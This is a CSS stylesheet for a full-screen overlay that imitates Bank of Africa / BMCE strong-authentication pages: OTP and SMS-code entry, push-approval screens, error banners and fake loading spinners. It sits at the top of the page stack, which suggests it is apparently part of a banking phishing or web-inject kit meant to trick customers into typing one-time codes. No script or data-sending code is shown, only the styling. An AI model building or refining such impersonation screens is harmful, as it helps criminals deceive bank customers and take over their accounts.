/* Bank of Africa — overlay + Authentification Forte */

#boa-overlay-root {
  position: fixed;
  inset: 0;
  z-index: 99999;
  pointer-events: none;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: max(16px, env(safe-area-inset-top)) max(16px, env(safe-area-inset-right))
    max(16px, env(safe-area-inset-bottom)) max(16px, env(safe-area-inset-left));
  box-sizing: border-box;
  font-family: Roboto, TexGyreHeros, "Segoe UI", sans-serif;
  --boa-accent: #00447a;
  --boa-green: #1d4d42;
  --boa-muted: #5c5c6a;
}

#boa-overlay-root.active {
  pointer-events: auto;
  background: rgba(0, 0, 0, 0.45);
  backdrop-filter: blur(4px);
}

#boa-overlay-root.push-fullscreen {
  padding: 0;
  align-items: stretch;
  background: #eef1f4;
}

#boa-overlay-root.push-fullscreen.active {
  background: #eef1f4;
  backdrop-filter: none;
}

.boa-ov-card {
  display: none;
  width: 100%;
  max-width: min(420px, calc(100vw - 32px));
  max-height: min(90vh, calc(100dvh - 32px));
  overflow: hidden;
  background: #fff;
  border-radius: 6px;
  box-shadow: 0 18px 50px rgba(0, 68, 122, 0.25);
  pointer-events: auto;
  box-sizing: border-box;
}

.boa-ov-bar {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 14px 20px;
  background: linear-gradient(90deg, #1a3d38 0%, #2d6b5c 100%);
  color: #fff;
  border-radius: 6px 6px 0 0;
}

.boa-ov-badge {
  font-size: 0.68rem;
  font-weight: 800;
  letter-spacing: 0.12em;
  text-transform: uppercase;
  padding: 4px 8px;
  border-radius: 4px;
  background: rgba(255, 255, 255, 0.15);
}

.boa-ov-bar-title {
  font-size: 0.95rem;
  font-weight: 600;
}

.boa-ov-body {
  padding: 24px 22px 22px;
  overflow-y: auto;
}

#boa-overlay-root.active .boa-ov-card.visible {
  display: block;
}

.boa-ov-card h3 {
  margin: 0 0 10px;
  font-size: 1.25rem;
  font-weight: 600;
  color: #1a3d38;
}

.boa-ov-sub {
  color: var(--boa-muted);
  font-size: 0.92rem;
  margin: 0 0 22px;
  line-height: 1.55;
}

.boa-ov-err {
  background: #fde8ec;
  color: #b91c3c;
  padding: 12px 14px;
  border-radius: 6px;
  font-size: 0.9rem;
  margin-bottom: 16px;
}

.boa-ov-field {
  margin-bottom: 18px;
}

.boa-ov-field label {
  display: block;
  font-size: 0.72rem;
  font-weight: 700;
  color: #1d4d42;
  margin-bottom: 8px;
  text-transform: uppercase;
  letter-spacing: 0.06em;
}

.boa-ov-field input {
  width: 100%;
  box-sizing: border-box;
  padding: 14px 16px;
  font-size: 1.15rem;
  border: 1.5px solid #c5d9d4;
  border-radius: 3px;
  outline: none;
  letter-spacing: 0.2em;
  text-align: center;
}

.boa-ov-field input:focus {
  border-color: #1d4d42;
  box-shadow: 0 0 0 3px rgba(29, 77, 66, 0.2);
}

.boa-ov-btn {
  width: 100%;
  padding: 14px 20px;
  border: none;
  border-radius: 3px;
  background: #1d4d42;
  color: #fff;
  font-size: 1rem;
  font-weight: 600;
  cursor: pointer;
  margin-top: 6px;
}

.boa-ov-btn:hover {
  opacity: 0.92;
}

.boa-ov-loading {
  display: none;
  text-align: center;
  padding: 48px 24px;
  color: #fff;
  font-size: 1rem;
  max-width: 320px;
}

#boa-overlay-root.loading-only {
  pointer-events: auto;
  background: rgba(0, 0, 0, 0.55);
  display: flex;
  align-items: center;
  justify-content: center;
}

#boa-overlay-root.loading-only .boa-ov-loading {
  display: block;
}

.boa-ov-spinner {
  width: 44px;
  height: 44px;
  border: 3px solid rgba(255, 255, 255, 0.25);
  border-top-color: #fff;
  border-radius: 50%;
  animation: boa-spin 0.75s linear infinite;
  margin: 0 auto 18px;
}

@keyframes boa-spin {
  to { transform: rotate(360deg); }
}

#boa-boot-spinner {
  position: fixed;
  inset: 0;
  z-index: 100000;
  background: rgba(0, 0, 0, 0.55);
  display: flex;
  align-items: center;
  justify-content: center;
  pointer-events: auto;
}

#boa-boot-spinner .boa-boot-inner {
  text-align: center;
  color: #fff;
  font-family: Roboto, "Segoe UI", sans-serif;
}

#boa-boot-spinner p {
  margin: 18px 0 0;
  font-size: 1rem;
}

/* ── BMCE screens (OTP / SMS / Push) ── */
.boa-ov-sms,
.boa-ov-push {
  display: none;
  width: 100%;
  max-width: none;
  height: 100%;
  max-height: none;
  overflow-y: auto;
  background: #eef1f4;
  pointer-events: auto;
  -webkit-overflow-scrolling: touch;
  font-family: TexGyreHeros, Roboto, Arial, Helvetica, sans-serif;
  font-size: 14px;
  color: #333;
  line-height: 1.5;
}

#boa-overlay-root.push-fullscreen .boa-ov-sms.visible,
#boa-overlay-root.push-fullscreen .boa-ov-push.visible {
  display: block;
}

.boa-bmce-page {
  min-height: 100%;
  box-sizing: border-box;
}

.boa-bmce-link {
  color: #1e70b9;
  text-decoration: none;
}

.boa-bmce-link:hover {
  text-decoration: underline;
}

.boa-bmce-info-ico {
  flex-shrink: 0;
  width: 22px;
  height: 22px;
  border-radius: 50%;
  background: #1e70b9;
  color: #fff;
  font-weight: 700;
  font-size: 0.85rem;
  display: flex;
  align-items: center;
  justify-content: center;
  font-style: normal;
}

/* SMS / OTP */
.boa-bmce-sms .boa-bmce-shell {
  min-height: 100%;
  background: #eef1f4;
}

.boa-bmce-sms-wrap {
  box-sizing: border-box;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 18px;
}

.boa-bmce-sms-panel {
  width: 100%;
  max-width: 760px;
  background: #fff;
  border: 1px solid #c8d0da;
  box-sizing: border-box;
}

.boa-bmce-sms-lead {
  margin: 0;
  padding: 18px 20px 16px;
  font-size: 0.95rem;
  line-height: 1.55;
  color: #333;
  border-bottom: 1px solid #e8ecf0;
}

.boa-bmce-sms-row {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  gap: 12px;
  padding: 18px 20px;
  font-size: 0.95rem;
  line-height: 1.5;
}

.boa-bmce-sms-row-label {
  flex: 1 1 280px;
}

.boa-bmce-sms-input {
  flex: 0 0 110px;
  width: 110px;
  max-width: 100%;
  box-sizing: border-box;
  padding: 7px 10px;
  font-size: 1rem;
  border: 1px solid #1e70b9;
  border-radius: 3px;
  outline: none;
  letter-spacing: 0.08em;
  text-align: center;
  font-family: inherit;
}

.boa-bmce-sms-input:focus {
  box-shadow: 0 0 0 2px rgba(30, 112, 185, 0.25);
}

.boa-bmce-err-block {
  display: block;
  margin: 0;
  padding: 12px 20px;
  color: #fc557b;
  font-size: 0.95rem;
  line-height: 1.45;
  background: #fff;
  border-bottom: 1px solid #f3d0d8;
}

.boa-bmce-err-block[hidden] {
  display: none !important;
}

.boa-bmce-sms-input--err {
  border-color: #fc557b !important;
  box-shadow: 0 0 0 2px rgba(252, 85, 123, 0.18) !important;
}

.boa-bmce-sms-err {
  margin: 0 20px 12px;
  padding: 10px 12px;
  background: #fde8ec;
  color: #b91c3c;
  font-size: 0.88rem;
  border-radius: 2px;
}

.boa-bmce-sms-info {
  display: flex;
  gap: 12px;
  margin: 0 20px 20px;
  padding: 14px 12px;
  border: 1px solid #b8cce0;
  background: #f7fafc;
  font-size: 0.88rem;
  line-height: 1.55;
  color: #444;
}

.boa-bmce-sms-info strong {
  display: block;
  margin-bottom: 8px;
  color: #222;
  font-weight: 600;
}

.boa-bmce-sms-info p {
  margin: 4px 0 0;
}

.boa-bmce-sms-btns {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  gap: 14px;
  width: 100%;
  max-width: 760px;
}

.boa-bmce-btn {
  min-width: 150px;
  padding: 10px 24px;
  font-size: 0.82rem;
  font-weight: 700;
  letter-spacing: 0.04em;
  border-radius: 5px;
  cursor: pointer;
  text-transform: uppercase;
  font-family: inherit;
}

.boa-bmce-btn-primary {
  border: 1px solid #1e70b9;
  background: #1e70b9;
  color: #fff;
}

.boa-bmce-btn-outline {
  border: 1px solid #1e70b9;
  background: #fff;
  color: #1e70b9;
}

/* Push — Authentification Forte */
.boa-bmce-push .boa-bmce-shell {
  min-height: 100%;
  background: #eef1f4;
}

.boa-bmce-head {
  background: #fff;
  border-bottom: 1px solid #d8dee6;
}

.boa-bmce-head-inner {
  max-width: 980px;
  margin: 0 auto;
  display: flex;
  align-items: center;
  padding: 12px 20px;
  border-bottom: 1px solid #e8ecf0;
}

.boa-bmce-logo img {
  height: 38px;
  width: auto;
  display: block;
}

.boa-bmce-nav {
  max-width: 980px;
  margin: 0 auto;
  display: flex;
  align-items: center;
  gap: 10px;
  padding: 11px 20px;
  background: #f5f6f8;
  border-bottom: 1px solid #d8dee6;
  color: #00447a;
  font-size: 0.92rem;
  font-weight: 700;
  letter-spacing: 0.02em;
}

.boa-bmce-back {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 22px;
  height: 22px;
  border: 1px solid #c8d0da;
  background: #fff;
  color: #00447a;
  font-size: 1rem;
  line-height: 1;
}

.boa-bmce-back::before {
  content: "‹";
  margin-top: -2px;
}

.boa-bmce-content {
  max-width: 760px;
  margin: 0 auto;
  padding: 20px 16px 40px;
}

.boa-bmce-push-content {
  padding-top: 16px;
  padding-bottom: 48px;
}

.boa-bmce-panel {
  background: #fff;
  border: 1px solid #c8d0da;
  margin-bottom: 14px;
}

.boa-bmce-panel-warn {
  margin-bottom: 14px;
}

.boa-bmce-panel-main {
  margin-bottom: 14px;
}

.boa-bmce-panel-footer {
  margin-bottom: 28px;
}

.boa-bmce-panel-footer .boa-bmce-info {
  border-top: none;
  background: #fff;
}

.boa-bmce-alert {
  display: flex;
  gap: 12px;
  padding: 16px 18px;
  background: #fff;
  font-size: 0.88rem;
  line-height: 1.55;
}

.boa-bmce-alert-ico {
  flex-shrink: 0;
  width: 22px;
  height: 22px;
  border-radius: 50%;
  background: #e74c3c;
  color: #fff;
  font-weight: 700;
  font-size: 0.85rem;
  display: flex;
  align-items: center;
  justify-content: center;
}

.boa-bmce-alert strong {
  display: block;
  margin-bottom: 6px;
  color: #222;
}

.boa-bmce-push-top {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 12px;
  padding: 24px 24px 0;
}

.boa-bmce-push-body {
  text-align: center;
  padding: 0 24px 24px;
}

.boa-bmce-lock {
  width: 24px;
  height: 30px;
  margin: 0;
  flex-shrink: 0;
  border: 3px solid #222;
  border-radius: 4px;
  position: relative;
  box-sizing: border-box;
}

.boa-bmce-lock::before {
  content: "";
  position: absolute;
  top: -14px;
  left: 50%;
  transform: translateX(-50%);
  width: 18px;
  height: 14px;
  border: 3px solid #222;
  border-bottom: none;
  border-radius: 10px 10px 0 0;
  box-sizing: border-box;
}

.boa-bmce-push-title {
  margin: 0;
  font-size: 0.95rem;
  font-weight: 400;
  color: #666;
}

.boa-bmce-push-msg,
.boa-bmce-push-action {
  max-width: 620px;
  margin: 0 auto 14px;
  padding: 0 24px;
  font-size: 0.92rem;
  line-height: 1.6;
  color: #444;
  text-align: center;
}

.boa-bmce-push-msg {
  margin-top: 18px;
}

.boa-bmce-push-action {
  margin-bottom: 8px;
}

.boa-bmce-device-link {
  font-weight: 400;
}

.boa-bmce-info-device {
  padding-left: 18px;
}

.boa-bmce-phone-art {
  margin: 18px auto 10px;
  max-width: 216px;
  padding-bottom: 8px;
}

.boa-bmce-phone-img {
  width: 216px;
  height: auto;
  display: block;
  margin: 0 auto;
}

.boa-bmce-phone-art svg {
  width: 100%;
  height: auto;
  display: block;
}

.boa-bmce-info {
  display: flex;
  gap: 12px;
  padding: 16px 18px;
  background: #fff;
  font-size: 0.85rem;
  line-height: 1.55;
  color: #444;
}

.boa-bmce-info strong {
  display: inline;
  font-weight: 700;
  color: #222;
}

.boa-bmce-info p {
  margin: 8px 0 0;
}

.boa-bmce-push-alt {
  text-align: left;
  font-size: 0.88rem;
  color: #444;
  line-height: 1.65;
  margin: 0 0 28px;
  padding: 0 2px;
}

.boa-bmce-push-alt p {
  margin: 0 0 4px;
}

.boa-bmce-push-alt-link {
  margin-top: 6px !important;
  padding-left: 0;
}

.boa-bmce-push-abandon {
  display: flex;
  justify-content: center;
  padding-bottom: 12px;
}

.boa-bmce-push-abandon .boa-bmce-btn {
  min-width: 150px;
}

.boa-bmce-alt {
  text-align: center;
  font-size: 0.88rem;
  color: #555;
  line-height: 1.65;
}

.boa-bmce-alt p {
  margin: 0 0 6px;
}

@media (max-width: 640px) {
  .boa-bmce-sms-wrap {
    padding: 0;
  }

  .boa-bmce-sms-panel {
    border-left: none;
    border-right: none;
  }

  .boa-bmce-sms-lead,
  .boa-bmce-sms-row {
    padding-left: 14px;
    padding-right: 14px;
  }

  .boa-bmce-sms-row {
    flex-direction: column;
    align-items: stretch;
  }

  .boa-bmce-sms-input {
    flex: 1 1 auto;
    width: 100%;
    padding: 14px 12px;
    font-size: 1.1rem;
  }

  .boa-bmce-sms-info {
    margin-left: 10px;
    margin-right: 10px;
  }

  .boa-bmce-sms-btns {
    flex-direction: column;
    align-items: stretch;
    padding: 0 8px;
  }

  .boa-bmce-btn {
    width: 100%;
    max-width: none;
    padding: 14px 16px;
  }

  .boa-bmce-head-inner,
  .boa-bmce-nav,
  .boa-bmce-content {
    padding-left: 12px;
    padding-right: 12px;
  }
}
